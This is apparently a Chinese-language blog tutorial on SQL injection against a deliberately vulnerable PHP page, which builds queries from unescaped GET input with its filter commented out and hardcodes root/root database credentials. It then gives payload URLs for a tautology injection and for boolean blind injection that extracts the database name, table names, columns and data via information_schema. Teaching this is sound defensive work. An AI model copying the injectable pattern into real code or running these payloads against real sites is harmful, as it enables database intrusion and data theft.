用PHP写的脚本,主要PHP太方便了。。。
index.php文件
<?php
include "help.php";
error_reporting(0);
if($_GET['action'] == '1'){
// $_GET = help::filter_parmas($_GET );
$name = $_GET['name'];
$res = help::get_sql_res("select * from users where name = '{$name}'");
if($res){
echo $_GET['name']."你好";
}else{
echo "游客你好";
}
}
help.php文件
class help{
public static function filter_parmas($val)
{
if (is_string($val)) {
return addslashes($val);
// return htmlspecialchars(addslashes($val));
}
if (is_array($val)) {
foreach ($val as $k => $v) {
$val[$k] = help::filter_parmas($v);
}
return $val;
}
return $val;
}
public static function get_sql_res($sql){
$mysql_conf = array(
'host' => '192.168.108.172:3306',
'db' => 'test',
'db_user' => 'root',
'db_pwd' => 'root',
);
$pdo = new PDO("mysql:host=" . $mysql_conf['host'] . ";dbname=" . $mysql_conf['db'], $mysql_conf['db_user'], $mysql_conf['db_pwd']);//创建一个pdo对象
$pdo->exec("set names 'utf8'");
// $sql = "select * from users where name = ?";
$stmt = $pdo->prepare($sql);
$rs = $stmt->execute();
if ($rs) {
// PDO::FETCH_ASSOC 关联数组形式
// PDO::FETCH_NUM 数字索引数组形式
while ($row = $stmt->fetchAll(PDO::FETCH_ASSOC)) {
return $row;
}
}
$pdo = null;//关闭连接
}
}
1、sql注入
action = 1
正常
http://test.com/?action=1&name=xiaoming
sql注入
http://test.com/?action=1&name=1%27%20OR%20%271%27=%271
盲注简介
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。如本文中index.php中,我们可以看到不管怎么样我们没发改变返回值。这种就是盲注。
主要数据库使用函数:
length() : 返回字符串长度
substr() :截取字符串 (语法:substr(string,start,leng))
ascii() : 返回字符的ascii码(将字符等变为数字)
sleep() : 需要延迟的时间
if(str1,str2,str3) : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个
bool 盲注
1、查找数据库长度
http://test.com/?action=1&name=xiaoming' and length(database()) = '4
2、通过ascii码,查找数据库名称
http://test.com/?action=1&name=xiaoming' and (ascii(substr(database(),1,1))) = '116
int(116) --t
int(101) --e
int(115) --s
int(116) --t
3、获取表名
http://test.com/?action=1&name=xiaoming' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 16,1),1,1))='117
int(117) --u
int(115) --s
int(101) --e
int(114) --r
int(115) --s
4、获取字段
核心sql:
select column_name from information_schema.columns
where table_schema=database() and table_name='user'
http://test.com/?action=1&name=xiaoming' and ascii(substr((select column_name from information_schema.columns
where table_schema=database() and table_name='user' limit 0,1),1,1)) = '105
int(105) --i
5、查询数据
http://test.com/?action=1&name=xiaoming' and (ascii(substr((select id from users limit 1,1),1,1)))='49
int(49) --1
有空可以自己写个循环脚本试试哈
网友评论